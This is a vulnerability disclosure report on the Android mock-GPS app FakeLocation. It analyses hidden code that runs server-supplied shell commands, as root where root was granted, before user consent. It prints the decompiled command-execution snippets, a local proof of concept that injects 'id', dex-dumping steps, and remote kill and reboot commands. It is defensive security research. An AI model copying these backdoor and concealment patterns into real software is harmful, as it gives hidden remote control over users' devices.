FakeLocation: undocumented execution of server-supplied shell commands

Reporter: tyldx · tyldx@proton.me · 2026-11 · revision 1.3

1. Summary

FakeLocation is an Android app that lets users simulate the device's GPS location, for mock-location and route simulation. An optional ROOT mode requires the user to grant root access. Executing server-supplied shell commands is not required for that purpose and is not part of the app's documented functionality.

Every version examined is affected: 1.3.2.1, 1.3.2.2, 1.3.2.3, 1.3.5, 1.3.5-beta, 1.3.10, 1.5.0, and 1.5.2 (versionCode 1579-1702), with other releases in that range presumed affected. 1.3.2.1 is the earliest version available on APKPure, listed there on 2023-02-24, so the capability has existed since February 2023 at the latest. In the affected builds the client parses and executes shell commands embedded in the responses of specific API endpoints, without user approval. Three such server-controlled paths exist. If the server returns a body starting with `10000:` or a wrapped response with `code == 10000`, the app executes an arbitrary command at app privilege; two of the three paths run it through `su`, i.e. as root only when the app has already been granted root. One path fires at startup, before the user accepts the first-run consent dialog (verified); another fires through the startup config request and version check, and runs through `su` on every build examined except Play 1.5.2 (the version check on official-site/GitHub 1.5.2 was verified before consent; the config request remains static-confirmed only). Neither the privacy policy nor the user agreement discloses this capability.

From 1.3.10 on, the code exists only in a runtime-decrypted dex and is concealed with packing, string encryption, and split command strings; the earlier versions examined are not packed, and the code can be decompiled directly from the APK. Certificate pinning prevents an arbitrary network attacker from triggering these paths by man-in-the-middle (based on static analysis); the parties able to trigger them are the developer, who runs the server and holds its private key, and anyone who compromises that server or steals the key, which would expose every device running an affected version.

2. Affected product

- Name: Fake Location (Google Play title "Fake Location - Mock GPS&Route").
- Two builds:
  - Official-site / GitHub build: package `com.lerist.fakelocation` (code flavor = CN), distributed via the official site fakeloc.cc/app and GitHub Releases (Lerist/FakeLocation); not on any app store.
  - Play build: package `dev.lerist.fakelocation`, distributed on Google Play (50K+ installs).
- Developer: Lerist / Chengdu Lanyi Technology Co., Ltd. (成都览一科技有限公司).
- Versions examined: 1.3.2.1 (versionCode 1579), 1.3.2.2 (1584), 1.3.2.3 (1585), 1.3.5 (1588), 1.3.5-beta (1593), 1.3.10 (1673) (all Play builds), 1.5.0 (1700 official-site/GitHub, 1701 Play), and 1.5.2 (1702, both builds), all confirmed affected. The paths appear in different versions: path 2 (config

endpoint `app/getAppConfigs`) is already present in the earliest version examined, 1.3.2.1; path 1 (getNotices) was introduced between 1.3.5-beta and 1.3.10 (listed on APKPure on 2025-10-31); path 3 is found only in the official-site/GitHub build. 1.3.2.1 is the earliest version available on APKPure; earlier versions could not be obtained; other public releases in the 1579-1702 range were not individually examined and are presumed affected. versionCode values are not consecutive.

- Signing certificates: `b55e7f6ccb63318b2cc4d3c45e6b148131061a2acd0a82725fe59e118d1ddafc` (CN=Lerist., O=Chengdu Lanyi Technology; all official-site/GitHub builds, and old Play <= 1.3.5-beta); `d9ad7175f80ebed780b0c7c61b7c788827ad4d1953e0381feddd2fa0431f0362` (CN=Lerist., O=Lerist). From 1.3.10 the Play build uses APK Signature Scheme v3.1 key rotation: d9ad for API 33 and above, b55e still for API 24-32.
- Sample SHA-256 (earliest version examined, before/after path 1, and both 1.5.2 builds):

Version	versionCode	Channel	Affected	Sample	SHA-256
1.3.2.1	1579	Play (apkpure)	yes (earliest examined, path 2)	apkpure_1.3.2.1.apk	`ed860aaf7dd52bce0873ba96d6f7e5aa263ce71ee68b8758bbade4f19cd1148a`
1.3.5-beta	1593	Play (apkpure)	yes (path 2; no path 1 yet)	apkpure_1.3.5-beta.xapk	`fd569fe0a89e3b733ca02c84862c997da442d1bb05fd7329d2d0954d1ce6594f`
1.3.10	1673	Play (apkpure)	yes (path 1 first appears)	apkpure_1.3.10.xapk	`eb625139e9f55e0627516c52d651a58f0b9b5bbbe3e5f0d71960c3136c42b135`
1.5.0	1700	Official-site/GitHub (CN)	yes	github CN 1.5.0 apk	`7b78f2e9c0f06fdd7f44379f241cd2959f476f6958bb1bb215ebcd796651cd4b`
1.5.2	1702	Official-site/GitHub (CN)	yes	single apk (site == GitHub)	`5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1`
1.5.2	1702	Play	yes	base.apk (app bundle)	`a4fa13cd318d6ad392bd6033a93e40bac5ac1eff90b65d7c526033aa8f679d24`

The apkpure 1.3.5-beta/1.3.10 samples are `.xapk` containers (zipped split APKs); the hash is of the container. The Play 1.5.2 sample is an app bundle; the hash above is of its `base.apk`.

3. Weakness type

- Primary: CWE-912 Hidden Functionality. This class requires no finding of intent, only that the functionality is undocumented, outside the specification, and not reachable through an obvious interface; this report is assessed on that basis.
- Related: CWE-506 Embedded Malicious Code. Combined with the packing, string encryption, split command strings, and silent execution, the functionality has the characteristics of a backdoor; whether it is malicious is a judgment of intent, so this report relies on observable facts and treats this class as secondary.

4. Technical detail: three server-controlled RCE paths

Obfuscated names are from the decompilation of each version (the runtime-decrypted dex from 1.3.10 on, the APK itself for earlier versions). Play 1.5.2 names are given first, with the official-site/GitHub build's equivalents. All three paths share one command sink (Play `fv2.ළ(String[] cmds, boolean su, boolean b)` / official-site/GitHub build `z41`, `C13588.m51168`):

```
Process p = Runtime.getRuntime().exec(su ? "su" : "sh");  // command written via stdin
```

4.1 Path 1: getNotices -> sh (both builds)

The notice class (Play `com.lerist.lib.notice.C6073` / official-site/GitHub build `C11241`) in the getNotices response callback:

```
String s = response.body().string();
if (s.startsWith("10000:")) {
    Runtime.getRuntime().exec(new String[]{"sh", "-c", s.substring(6)});
}
// s is then parsed as the notice JSON; for "10000:..." this throws and is swallowed by catch
```

Endpoint `POST https://notice.api.fakeloc.cc:4430/Notice/getNotices`, requested during the app's startup loading. Its response is evaluated for `startsWith("10000:")` as soon as it arrives, independently of the first-run consent flow. Verified in the PoC (see 6): on a fresh install the command executed while the first-run consent dialog was still displayed and the user had not tapped "Agree", with no interaction; the behavior is also outside the scope of what the user consents to (see 4.4). Execution reads no output, writes no log, and swallows exceptions.

4.2 Path 2: generic callback code==10000 -> su + sh (both builds)

The synchronous callback (Play `C3685.m13605`) handling the Retrofit response wrapper, failure branch:

```
int code = resp.getCode();
String message = resp.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
    fv2.<exec>(message, /*su=*/true,  ...);  // run as su
    fv2.<exec>(message, /*su=*/false, ...);  // run as sh
}
```

One endpoint handled by this synchronous callback (su+sh) is `POST /FakeLocation/goods/getRenewalGoodsList` (requested when the renewal page is opened). The official-site/GitHub build's synchronous callback is `C5901.m19381`, same semantics.

An asynchronous variant handles other endpoints, including the version check `version/checkApkUpdate`. That request is sent unconditionally from `MainActivity.onCreate`, in the same function as path 1's getNotices (official-site/GitHub build `MainActivity.C11127.m44656`), i.e. together with path 1 and before user consent. How the asynchronous variant executes depends on the build:

- Play 1.5.2 (`C3685.AbstractC3687.m13609`, callback `C5946`): runs sh only on `code==10000`, as the app uid.

- Official-site/GitHub build (`C5901.AbstractC5903.mo959` , callback `C11075`) and Play 1.5.0 and earlier (e.g. 1.5.0 `C4606.AbstractC4608`): same as the synchronous callback, running the command once via su and once via sh, so it runs as root at startup with no interaction.

The version-check callback re-sends the request after 5 seconds on any error code other than 2002, and `code==10000` takes that branch; if the server keeps returning 10000, each response executes the command again. Sustained injection on official-site/GitHub 1.5.2 produced 19 root outputs about 6 to 8 seconds apart (including request and execution time), not at exact 5-second intervals.

The config endpoint `app/getAppConfigs` also uses the asynchronous variant (official-site/GitHub build `C3440.m14629` , callback `C3445` ; Play `C3071.m12188` , callback `C3076`), executing as described above for each build. It is requested from `Application.onCreate` (main process only) via `lv0.m5558` (Play `hj2.m2797`), before any Activity and before the consent flow; its only precondition is a native integrity check (`SwipeUtils.isQualified` , which a genuine install passes). On failure or `code==10000` it also retries after 5 seconds. Its 10000 branch exists in the earliest versions examined: the config callbacks of 1.3.2.1, 1.3.2.2, 1.3.2.3, 1.3.5, 1.3.5-beta, and 1.3.10 (e.g. 1.3.5-beta `C3301` , 1.3.10 `C2360`) run the command once via su and once via sh on `code==10000` , and are likewise requested from `Application.onCreate` .

4.3 Path 3: blocklist polling ver/vfs code==10000 -> su + sh (official-site/GitHub build only)

A background thread (`RunnableC13518` , started by `C13538.m51102` once the app's ROOT mode is activated) enters a loop 20 to 50 seconds after start and wakes every 2 to 7 minutes, but only sends `POST ver/vfs` to fetch the list of packages barred from mock location when the cached list is empty or older than 24 hours, normally about once a day; when the response has `code==10000 && message not empty` :

```
C13588.m51168(new String[]{message}, /*su=*/true,  true);  // su
C13588.m51168(new String[]{message}, /*su=*/false, true);  // sh
```

This path is independent of the UI and runs in the background. A `code==10000` response does not fill the list, so the next iteration (2 to 7 minutes later) requests again; once the server answers with a command instead of a list, it can have one executed every 2 to 7 minutes. Not present in the Play build.

4.4 Transport and concealment

- Servers `*.api.fakeloc.cc:4430` , backup `*.lerist.dev` ; DNS over HTTPS.
- Mutual TLS pinned to a Lerist self-signed server certificate (`xp0.m10346` , BKS, password hardcoded; value redacted in the public version). The trust store `tp.png` pins the server cert (fingerprint `60:5C:2B...` ; its private key is NOT in the app); the client keystore `tl.png` holds the client private key (fingerprint `F1:11:05...` , usable only to impersonate a client). `tp.png` is byte-identical across both builds, and the same trust store is byte-identical back to the earliest version examined, 1.3.2.1 (named `transparent.png` / `translucent.png` before 1.3.10), so the conclusion in section 5 on who can trigger these paths applies to all affected versions. The hostname verifier (`HostnameVerifier.verify`) always returns true, a latent weakness.
- Concealment: from 1.3.10 on, the business code exists only in a runtime-decrypted dex (official-site/GitHub build: 360 packer; Play build: a custom loader), invisible when unpacking the APK

directly (the earlier versions examined are not packed); strings are XOR-encrypted; sensitive commands are split and concatenated; no logging, exceptions swallowed.

- Not authorized: neither the privacy policy, the user agreement, nor the terms disclose remote command execution. The only clause touching server-side control is the "Blocked apps list" (user agreement clause 5.3), which in the Chinese version reads (our translation): "we have the right to proactively identify known high-risk applications (APPs) that are prone to being used for illegal or fraudulent purposes, infringing third-party rights, or violating other applications' terms of service, take technical measures to block their functionality, and update the 'List of Blocked APPs' accordingly; blocked applications (APPs) will not be able to use this software's mock data" - limited to disabling the mock feature, not executing shell/root commands. The ROOT warning only states that granting root lowers device security, not that the app executes server-sent commands. This functionality is therefore both undisclosed and outside the scope of what the user consents to.
- Public text, archived 2026-11-04 to 06, none of which discloses remote command execution: privacy policy https://archive.today/OK0Jk (2026-11-04); user agreement https://archive.today/PlS7t (Chinese, 2026-11-06) and https://archive.today/Iulzs (English, 2026-11-04); terms of use https://archive.today/MyhhH (2026-11-04); download page https://archive.today/ZMnTg (2026-11-04).

5. Impact and scoring

- Any party able to make these endpoints return the above directives can run arbitrary shell commands on devices with an affected version installed; paths 2 and 3 run as root when the app holds root (the app's ROOT mode requires the user to grant root). Path 1 fires automatically at startup, before the user accepts any terms, with no interaction; on every build examined except Play 1.5.2, path 2 (config request, version check) also fires at startup and runs through su. After the build-expiry mechanism (see 8), path 3 (the poller) stops; paths 1 and 2 are unaffected.
- Because of certificate pinning and because the server's private key is not in the app, an arbitrary third party cannot trigger this via a network man-in-the-middle (based on static analysis). The parties who can trigger it are: the developer (holding the server private key and running the server), or anyone who compromises Lerist's server or steals its server private key. This functionality is therefore controllable by the developer and also creates a supply-chain single point of failure: a breach of the vendor's infrastructure yields RCE and privilege escalation across the affected install base.
- CVSS v3.1, scored per path (shared prefix AV:N/AC:H/PR:N: the command is delivered over the network and requires control of the certificate-pinned server):
  - Path 1 (sh, app uid): `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` = 8.1. The command is bounded by the app's own privileges (S:U).
  - Path 2, Play 1.5.2 (su, root, needs the renewal page opened; the startup config request and version check are sh only, as path 1): `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` = 8.3.
  - Path 2, official-site/GitHub build and Play 1.5.0 and earlier (su, root, startup config request / version check, no interaction): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0.
  - Path 3 (su, root; official-site/GitHub build only, requires ROOT mode activated, no further interaction after activation): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0.

    - Overall 9.0 (Critical), reached by path 2 and path 3 on the official-site/GitHub build. Note: if the vendor itself is treated as the attacker (no precondition), AC:L raises each path.
- CVSS v4.0, scored per path (official calculator):
    - Path 1 (sh, app uid): `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` = 9.2.
    - Path 2, Play 1.5.2 (su, root, renewal page): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.0.
    - Path 2, official-site/GitHub build and Play 1.5.0 and earlier (su, root, startup config request / version check): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5.
    - Path 3 (su, root, background poll): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5.
    - Overall 9.5 (path 2 and path 3 on the official-site/GitHub build). AT:P on paths 2/3 reflects that root must have been granted (path 3 also needs ROOT mode activated); SC/SI/SA:H reflect escape to root (paths 2/3), N for the app-scoped path 1. Path 3 is static-confirmed only; setting Exploit Maturity E:U or E:P lowers its score.

6. Proof of concept

Method: an LSPosed module hooks only `okhttp3.internal.http.RealInterceptorChain.proceed` and rewrites the response body by request URL, triggering the app's own command-execution branches. It does not contact the vendor's server and does not modify the app; the injected command is only `id`. Test device Pixel 9 (KernelSU).

Build	Path	Trigger	Key output	Verified
Play 1.5.2	1 (sh)	getNotices response rewritten to `10000:id>...`	`uid=10358(u0_a358) ... untrusted_app_34` (app uid)	Live
Play 1.5.2	2 (su)	renewal page opened -> `goods/getRenewalGoodsList` rewritten to `{"code":10000,...}`	`uid=0(root) ... u:r:ksu:s0`	Live
Official-site/GitHub 1.5.2	1 (sh)	getNotices rewritten	`uid=10355(u0_a355) ... untrusted_app_27` (app uid)	Live
Official-site/GitHub 1.5.2	2 (su)	`goods/getRenewalGoodsList` rewritten	`uid=0(root)`	Live
Official-site/GitHub 1.5.2	2 (su+sh)	`version/checkApkUpdate` rewritten to `code==10000` before consent	`uid=0(root) ... u:r:ksu:s0`; sh as `uid=10355(u0_a355)`	Live
Official-site/GitHub 1.5.2	3 (su)	not triggered	shares the command sink and `code==10000` mechanism with path 2	Static only

Path 1 also ran before consent: on a fresh install the command executed while the first-run consent dialog was still on screen and the user had not tapped "Agree", with no interaction (uiautomator showed the "Agree" button present and untapped, topResumedActivity=MainActivity). The version check on official-site/GitHub 1.5.2 was tested separately: root output occurred while the consent

dialog was on screen, with a separate app-uid sh output (see `poc/results/cn_checkapkupdate_preconsent_root.txt`, `cn_checkapkupdate_consent_screen.png`, and `cn_checkapkupdate_su_sh_proof.txt`). The config request `getAppConfigs` was not tested separately; its su+sh branch remains supported by static analysis. Path 3 (poller) was not live-driven: its thread starts only once the app's ROOT mode is activated (which also triggers the app's own injection and anti-tamper), so it was left undriven to avoid side effects.

Boundary: this is a client-side demonstration (the response is injected locally), proving the client executes server-controlled commands; it does not prove the vendor's server currently sends them. The primary evidence is the static code branches in section 4. The vendor states that it currently sends a long sleep command to pirated or cracked versions; this has not been independently verified.

7. Reproduction and forensics

- Runtime dex extraction: read `/proc/<pid>/maps` for the decrypted dex regions -> dd them out -> split by dex header (size at offset 32, class_defs at offset 96) -> decompile with jadx. XOR string decode: `plain[i] = a[i] ^ b[i % len(b)]`.
- Per-version class map is above; the full decompilation and the vendor APKs are not redistributed here (vendor copyright). Samples are identified by the SHA-256 hashes in section 2.

8. Other undisclosed behavior (corroborating, non-core)

These are other undisclosed behaviors. The first two are server-controlled; the rest are local self-protection mechanisms (not server-controlled).

Server-controlled:

- Remote kill: the account-sync callback (official-site/GitHub build `ba2`), on `code == 9999`, first runs `kill -9 <own pid>` via sh, then `System.exit(0)`, letting the server terminate the client process.
- Remote disable (official-site/GitHub build; not confirmed for Play): the dex injected into system_server (`C0084` / `C0036`) opens a plain TCP connection (no TLS) from inside system_server to `vef.api.fakeloc.cc:12309`, switching to `vef.fl.api.lerist.dev` after 30 minutes disconnected and to the hardcoded IP `141.164.37.97` after 1 hour. It sends license data and version info, encrypted with AES/CFB (key and IV hardcoded; values redacted in the public version). A `NOPASS.` reply stops mocking, as does 24 hours without a `pass.` reply. The traffic leaves as system_server's uid 1000, so per-app-uid firewalls and traffic accounting do not attribute it to the app.

Local self-protection (official-site/GitHub build only):

- Anti-tamper reboot (`RunnableC13526`): runs md5sum over the app's files directory; on mismatch with the built-in hashes, if root is available it runs `killall system_server` (soft reboot) with ~60% probability or `reboot` with ~40%, and separately exits the process with ~60% probability; the command strings are split and concatenated to evade static scanning.
- APK integrity check (`C13595.m51176`): checks version name, version code, package name, APK size, `libsa.so` size, and APK md5; on mismatch it only throws, so later init (path 3 poller, injection) does not start; no reboot.

- Build-expiry mechanism: build timestamp + 200 days; after expiry it throws, and path 3 (the poller), injection, and init no longer start. 1.5.2 expires 2027-03-08; 1.5.0 expired 2026-10-26. Paths 1 and 2 are not gated by this mechanism.

9. User remediation

- Uninstall 1.5.2 and earlier versions (the earliest affected version examined is 1.3.2.1; earlier versions were not examined). For later versions, check the vendor's fix status and this report's updates before continuing to use them.
- Revoke any root previously granted to the app.
- If an affected version was run on a root-granted device, treat the device as potentially having received commands, and assess accordingly (check for anomalies, reset if warranted).

10. Disclosure timeline

- 2026-11-05: CVE requested from MITRE.
- 2026-11-05: Report published; reported to Google Play (policy against downloading or executing server-controlled code) and GitHub (a release distributing a binary with this undisclosed code).
- 2026-11-05: Also reported to Google through the Android Security Malware Report Form.
- 2026-11-05: Reported to CNCERT by email.
- 2026-11-05: Vendor notified by email after publication and asked whether it will request a CVE ID. The report was published without prior coordinated disclosure because the affected code is present in releases signed with the vendor's certificate and the vendor's server can trigger the functionality. The vendor's GitHub repository (Lerist/FakeLocation) had been archived by its owner on 2026-08-20.
- 2026-11-06: Vendor replied that the shell interface was intended to control pirated or cracked versions, that only a long sleep command is currently sent to those versions, and that su usage will be removed in an upcoming version, with the user agreement and privacy policy to be improved. These statements have not been independently verified, and the client code contains no restriction limiting these paths to pirated builds (based on the analysis in section 4).
- 2026-11-07: Report revised (1.3). Affected range extended to 1.3.2.1 through 1.5.2; added that the startup config request and version check run through su before user consent, with a live test on official-site/GitHub 1.5.2; corrected details on polling frequency, anti-tamper, and signing.

Method: reverse engineering and runtime memory dumping, for security disclosure only.

11. Reporter

tyldx (github.com/tyldx), tyldx@proton.me.